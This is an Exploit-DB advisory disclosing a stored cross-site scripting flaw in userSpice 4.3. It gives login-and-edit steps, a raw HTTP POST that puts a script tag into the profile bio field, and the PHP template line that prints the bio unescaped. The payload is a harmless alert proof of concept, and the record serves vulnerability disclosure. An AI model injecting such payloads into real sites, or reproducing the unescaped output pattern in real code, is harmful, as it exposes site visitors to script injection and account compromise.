userSpice 4.3 - Cross-Site Scripting

EDB-ID: 44038
Author: Dolev Farhi
Published: 2018-02-14
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting 
URL https://userspice.com
Date 2.13.2018
Author Dolev Farhi


1. Login with a regular user
2. Navigate to Public profile
3. Edit your bio
4. Enter XSS payload
5. Once anyone visits the Bio page the payload will execute

POST /users/edit_profile.php HTTP/1.1
Host: 192.168.56.2
Content-Length: 59
Cache-Control: max-age=0
Origin: http://192.168.56.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.56.2/users/edit_profile.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: close

bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=

Vulnerable code:
<td>
<h4><a href="profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?> </a></h4>
<p><?=$ususerbio?></p>
</td>

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